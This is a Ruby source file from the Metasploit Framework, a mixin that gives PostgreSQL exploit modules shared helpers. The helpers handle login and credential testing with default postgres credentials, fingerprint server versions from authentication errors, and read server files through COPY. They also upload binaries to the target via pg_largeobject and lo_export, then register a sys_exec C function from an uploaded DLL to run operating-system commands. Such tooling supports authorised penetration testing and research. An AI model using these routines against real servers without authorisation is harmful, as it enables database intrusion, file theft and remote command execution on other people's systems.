rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/postgres.rb

Summary

Maintainability
F
4 days
Test Coverage
# -*- coding: binary -*-

module Msf

###
#
# This module exposes methods for querying a remote PostgreSQL service.
#
###

module Exploit::Remote::Postgres

  require 'postgres_msf'
  require 'base64'
  include Msf::Db::PostgresPR

  # @!attribute [rw] postgres_conn
  #   @return [::Msf::Db::PostgresPR::Connection]
  attr_accessor :postgres_conn

  #
  # Creates an instance of a PostgreSQL exploit module.
  #
  def initialize(info = {})
    super

    # Register the options that all Postgres exploits may make use of.
    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(5432),
        OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
        OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
        OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
        OptString.new('SQL', [ false, 'The SQL query to execute',  'select version()']),
        OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
      ], Msf::Exploit::Remote::Postgres)

    register_autofilter_ports([ 5432 ])
    register_autofilter_services(%W{ postgres })
  end

  # @!group Datastore accessors

  # Return the datastore value of the same name
  # @return [String] IP address of the target
  def rhost; datastore['RHOST']; end
  # Return the datastore value of the same name
  # @return [Integer] TCP port where the target service is running
  def rport; datastore['RPORT']; end
  # Return the datastore value of the same name
  # @return [String] Username for authentication
  def username; datastore['USERNAME']; end
  # Return the datastore value of the same name
  # @return [String] Password for authentication
  def password; datastore['PASSWORD']; end
  # Return the datastore value of the same name
  # @return [String] Database to connect to when authenticating
  def database; datastore['DATABASE']; end
  # Return the datastore value of the same name
  # @return [Boolean] Whether to print verbose output
  def verbose; datastore['VERBOSE']; end

  # @!endgroup

  # Takes a number of arguments (defaults to the datastore for appropriate
  # values), and will either populate {#postgres_conn} and return
  # +:connected+, or will return +:error+, +:error_databse+, or
  # +:error_credentials+ in case of an error.
  #
  # Fun fact: if you get +:error_database+, it means your username and
  # password was accepted (you just failed to guess a correct running database
  # instance).
  #
  # @note This method will first call {#postgres_logout} if the module is
  #   already connected.
  #
  # @param opts [Hash] Options for authenticating
  # @option opts [String] :database The database
  # @option opts [String] :username The username
  # @option opts [String] :username The username
  # @option opts [String] :server IP address or hostname of the target server
  # @option opts [Integer] :port TCP port on :server
  #
  # @return [:error_database] if user/pass are correct but database is wrong
  # @return [:error_credentials] if user/pass are wrong
  # @return [:error] if some other error occurred
  # @return [:connected] if everything went as planned
  def postgres_login(opts={})
    postgres_logout if self.postgres_conn
    db = opts[:database]       || datastore['DATABASE']
    username = opts[:username] || datastore['USERNAME']
    password = opts[:password] || datastore['PASSWORD']
    ip = opts[:server]         || datastore['RHOST']
    port = opts[:port]         || datastore['RPORT']
    proxies = opts[:proxies]   || datastore['Proxies']
    uri = "tcp://#{ip}:#{port}"

    if Rex::Socket.is_ipv6?(ip)
      uri = "tcp://[#{ip}]:#{port}"
    end

    verbose = opts[:verbose] || datastore['VERBOSE']
    begin
      self.postgres_conn = Connection.new(db,username,password,uri,proxies)
    rescue RuntimeError => e
      case e.to_s.split("\t")[1]
      when "C3D000"
        print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
        return :error_database # Note this means the user:pass is good!
      when "C28000", "C28P01"
        print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
        return :error_credentials
      else
        print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
        return :error
      end
    rescue ::Rex::ConnectionRefused => e
      print_error "#{ip}:#{port} Postgres - Connection Refused: #{e}" if verbose
      return :connection_refused
    end
    if self.postgres_conn
      print_good "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
      return :connected
    end
  end

  # Logs out of a database instance and sets {#postgres_conn} to nil
  #
  # @return [void]
  def postgres_logout
    ip = self.postgres_conn.peerhost
    port = self.postgres_conn.peerport
    verbose = datastore['VERBOSE']

    if self.postgres_conn
      self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
      self.postgres_conn = nil
      print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
    end
  end

  # If not currently connected, attempt to connect. If an
  # error is encountered while executing the query, it will return with
  # :error ; otherwise, it will return with :complete.
  #
  # @param sql [String] The query to run
  # @param doprint [Boolean] Whether the result should be printed
  # @return [Hash]
  def postgres_query(sql=nil,doprint=false)
    unless self.postgres_conn
      result = postgres_login
      unless result == :connected
        return { conn_error: result }
      end
    end

    if self.postgres_conn
      sql ||= datastore['SQL']
      vprint_status "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - querying with '#{sql}'"
      begin
        resp = self.postgres_conn.query(sql)
      rescue RuntimeError => e
        case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
        when "C42601"
          sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
        when "C42P01"
          sql_error_msg += " Table does not exist: '#{sql}'"
        when "C42703"
          sql_error_msg += " Column does not exist: '#{sql}'"
        when "C42883"
          sql_error_msg += " Function does not exist: '#{sql}'"
        else # Let the user figure out the rest.
          if e == Timeout::Error
            sql_error_msg = 'Execution expired'
          elsif sql_error_msg.nil?
            sql_error_msg = e.inspect
          else
            sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
          end
        end
        return {:sql_error => sql_error_msg}
      end
      postgres_print_reply(resp,sql) if doprint
      return {:complete => resp}
    end
  end

  # If resp is not actually a Connection::Result object, then return
  # :error (but not an actual Exception, that's up to the caller.
  # Otherwise, create a rowset using Rex::Text::Table (if there's
  # more than 0 rows) and return :complete.
  def postgres_print_reply(resp=nil,sql=nil)
    verbose = datastore['VERBOSE']
    return :error unless resp.kind_of? Connection::Result

    if resp.rows and resp.fields
      print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Rows Returned: #{resp.rows.size}" if verbose
      if resp.rows.size > 0
        tbl = Rex::Text::Table.new(
          'Indent' => 4,
          'Header' => "Query Text: '#{sql}'",
          'Columns' => resp.fields.map {|x| x.name}
        )
        resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
        print_line(tbl.to_s)
      end
    end
    return :complete
  end

  # Attempts to fingerprint a remote PostgreSQL instance, inferring version
  # number from the failed authentication messages or simply returning the
  # result of "select version()" if authentication was successful.
  #
  # @return [Hash] A hash containing the version in one of the keys :preauth,
  #   :auth, or :unknown, depending on how it was determined
  # @see #postgres_authed_fingerprint
  # @see #analyze_auth_error
  def postgres_fingerprint(args={})
    return postgres_authed_fingerprint if self.postgres_conn
    db = args[:database]       || datastore['DATABASE']
    username = args[:username] || datastore['USERNAME']
    password = args[:password] || datastore['PASSWORD']
    rhost = args[:server]      || datastore['RHOST']
    rport = args[:port]        || datastore['RPORT']

    uri = "tcp://#{rhost}:#{rport}"
    if Rex::Socket.is_ipv6?(rhost)
      uri = "tcp://[#{rhost}]:#{rport}"
    end

    verbose = args[:verbose]   || datastore['VERBOSE']
    begin
      self.postgres_conn = Connection.new(db,username,password,uri)
    rescue RuntimeError => e
      vprint_error e.to_s
      version_hash = analyze_auth_error e
      return version_hash
    end
    return postgres_authed_fingerprint if self.postgres_conn
  end

  # Ask the server what its version is
  #
  # @return (see #postgres_fingerprint)
  # @see #postgres_fingerprint
  def postgres_authed_fingerprint
    resp = postgres_query("select version()",false)
    ver = resp[:complete].rows[0][0]
    return {:auth => ver}
  end

  # Matches up filename, line number, and routine with a version.
  # These all come from source builds of Postgres. TODO: check
  # in on the binary distros, see if they're different.
  #
  # @param e [RuntimeError] The exception raised by Connection.new
  # @return (see #postgres_fingerprint)
  # @see #postgres_fingerprint
  def analyze_auth_error(e)
    fname,fline,froutine = e.to_s.split("\t")[3,3]
    fingerprint = "#{fname}:#{fline}:#{froutine}"
    case fingerprint

    # Usually, Postgres is on Linux, so let's use that as a baseline.

    when "Fauth.c:L395:Rauth_failed"          ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
    when "Fpostinit.c:L264:RInitPostgres"     ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
    when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)

    when "Fauth.c:L400:Rauth_failed"          ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
    when "Fpostinit.c:L274:RInitPostgres"     ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
    when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)

    when "Fauth.c:L337:Rauth_failed"          ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
    when "Fpostinit.c:L354:RInitPostgres"     ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
    when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)

    when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"}   # Failed (bad db, bad credentials) ubuntu 8.04.2
    when "Fauth.c:L362:Rauth_failed"          ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
    when "Fpostinit.c:L319:RInitPostgres"     ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
    when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)

    when "Fauth.c:L1003:Rauth_failed"          ; return {:preauth => "8.3.8"}    # Failed (bad db, bad credentials)
    when "Fpostinit.c:L388:RInitPostgres"      ; return {:preauth => "8.3.8-9"}  # Failed (bad db, good credentials)
    when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"}    # Rejected (maybe good)

    when "Fauth.c:L1017:Rauth_failed"          ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
    when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)

    when "Fauth.c:L258:Rauth_failed"          ; return {:preauth => "8.4.1"}   # Failed (bad db, bad credentials)
    when "Fpostinit.c:L422:RInitPostgres"     ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
    when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"}   # Rejected (maybe good)

    when "Fauth.c:L273:Rauth_failed"          ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
    when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)

    when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
    when "Fpostinit.c:L709:RInitPostgres"     ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)

    when "Fauth.c:L302:Rauth_failed"          ; return {:preauth => "9.1.6"} # Bad password, good database
    when "Fpostinit.c:L718:RInitPostgres"     ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
    when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
    when "Fmiscinit.c:L362:RInitializeSessionUserId" ; return {:preauth => "9.4.1-5"} # Bad user
    when "Fauth.c:L285:Rauth_failed"          ; return {:preauth => "9.4.1-5"} # Bad creds, good database
    when "Fpostinit.c:L794:RInitPostgres"     ; return {:preauth => "9.4.1-5"} # Good creds, non-existent but allowed database
    when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host

    # Windows

    when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed'               ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
    when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres'     ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
    when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication'      ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)

    when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication'      ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
    when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed'               ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)

    when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed'                 ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
    when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres'       ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
    when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication'        ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)

    # OpenSolaris (thanks Alexander!)

    when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
    when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
    when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
    when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)

    else
      return {:unknown => fingerprint}
    end
  end

  # @return [String] The password as provided by the user or a random one if
  #   none has been given.
  def postgres_password
    if datastore['PASSWORD'].to_s.size > 0
      datastore['PASSWORD'].to_s
    else
      'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
    end
  end

  # This presumes the user has rights to both the file and to create a table.
  # If not, {#postgres_query} will return an error (usually :sql_error),
  # and it should be dealt with by the caller.
  def postgres_read_textfile(filename)
    # Check for temp table creation privs first.
    unless postgres_has_database_privilege('TEMP')
      return({:sql_error => "Insufficient privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
    end

    temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
    read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
      COPY #{temp_table_name} FROM '#{filename}';
      SELECT * FROM #{temp_table_name}}
    return postgres_query(read_query,true)
  end

  # @return [Boolean] Whether the current user has privilege +priv+ on the
  #   current database
  def postgres_has_database_privilege(priv)
    sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
    ret = postgres_query(sql,false)
    if ret.keys[0] == :complete
      ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
    else
      return false
    end
  end

  # Creates the function sys_exec() in the pg_temp schema.
  # @deprecated Just get a real shell instead
  def postgres_create_sys_exec(dll)
    q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
    resp = postgres_query(q);
    if resp[:sql_error]
      print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
      return false
    end
    return true
  end

  # This presumes the pg_temp.sys_exec() udf has been installed, almost
  # certainly by postgres_create_sys_exec()
  #
  # @deprecated Just get a real shell instead
  def postgres_sys_exec(cmd)
    print_status "Attempting to Execute: #{cmd}"
    q = "select pg_temp.sys_exec('#{cmd}')"
    resp = postgres_query(q)
    if resp[:sql_error]
      print_error resp[:sql_error]
      return false
    end
    return true
  end


  # Uploads the given local file to the remote server
  #
  # @param fname [String] Name of a file on the local filesystem to be
  #   uploaded
  # @param remote_fname (see #postgres_upload_binary_data)
  # @return (see #postgres_upload_binary_data)
  def postgres_upload_binary_file(fname, remote_fname=nil)
    data = File.read(fname, mode: 'rb')
    postgres_upload_binary_data(data, remote_fname)
  end

  # Writes data to disk on the target server.
  #
  # This is accomplished in 5 steps:
  # 1. Create a new object with "select lo_create(-1)"
  # 2. Delete any resulting rows in pg_largeobject table.
  #    On 8.x and older, postgres inserts rows as a result of the call to
  #    lo_create. Deleting them here approximates the state on 9.x where no
  #    such insert happens.
  # 3. Break the data into LOBLOCKSIZE-byte chunks.
  # 4. Insert each of the chunks as a row in pg_largeobject
  # 5. Select lo_export to write the file to disk
  #
  # @param data [String] Raw binary to write to disk
  # @param remote_fname [String] Name of the file on the remote server where
  #   the data will be stored. Default is "<random>.dll"
  # @return [nil] if any part of this process failed
  # @return [String] if everything went as planned, the name of the file we
  #   dropped. This is really only useful if +remote_fname+ is nil
  def postgres_upload_binary_data(data, remote_fname=nil)
    remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"

    # From the Postgres documentation:
    #   SELECT lo_creat(-1);       -- returns OID of new, empty large object
    # Doing it this way instead of calling lo_create with a random number
    # ensures that we don't accidentally hit the id of a real object.
    resp = postgres_query "select lo_creat(-1)"
    unless resp and resp[:complete] and resp[:complete].rows[0]
      print_error "Failed to get a new loid"
      return
    end

    oid = resp[:complete].rows[0][0].to_i

    queries = [ "delete from pg_largeobject where loid=#{oid}" ]

    # Break the data into smaller chunks that can fit in the size allowed in
    # the pg_largeobject data column.
    # From the postgres documentation:
    #   "The amount of data per page is defined to be LOBLKSIZE (which is
    #   currently BLCKSZ/4, or typically 2 kB)."
    # Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
    # stick to 2kB.
    chunks = []
    while ((c = data.slice!(0..2047)) && c.length > 0)
      chunks.push c
    end

    chunks.each_with_index do |chunk, pageno|
      b64_data = postgres_base64_data(chunk)
      insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
      queries.push( "#{insert}"%[oid, pageno, b64_data] )
    end
    queries.push "select lo_export(#{oid}, '#{remote_fname}')"

    # Now run each of the queries we just built
    queries.each do |q|
      resp = postgres_query(q)
      if resp && resp[:sql_error]
        print_error "Could not write the library to disk."
        print_error resp[:sql_error]
        # Can't really recover from this, bail
        return nil
      end
    end
    return remote_fname
  end

  # Calls {#postgres_base64_data} with the contents of file +fname+
  #
  # @param fname [String] Name of a file on the local system
  # @return (see #postgres_base64_data)
  def postgres_base64_file(fname)
    data = File.open(fname, "rb") {|f| f.read f.stat.size}
    postgres_base64_data(data)
  end

  # Converts data to base64 with no newlines
  #
  # @param data [String] Raw data to be base64'd
  # @return [String] A base64 string suitable for passing to postgresql's
  #   decode(..., 'base64') function
  def postgres_base64_data(data)
    [data].pack("m*").gsub(/\r?\n/,"")
  end


  # Creates a temporary table to store base64'ed binary data in.
  #
  # @deprecated No longer necessary since we can insert base64 data directly
  def postgres_create_stager_table
    tbl = Rex::Text.rand_text_alpha(8).downcase
    fld = Rex::Text.rand_text_alpha(8).downcase
    resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
    if resp[:sql_error]
      print_error resp[:sql_error]
      return false
    end
    return [tbl,fld]
  end


end
end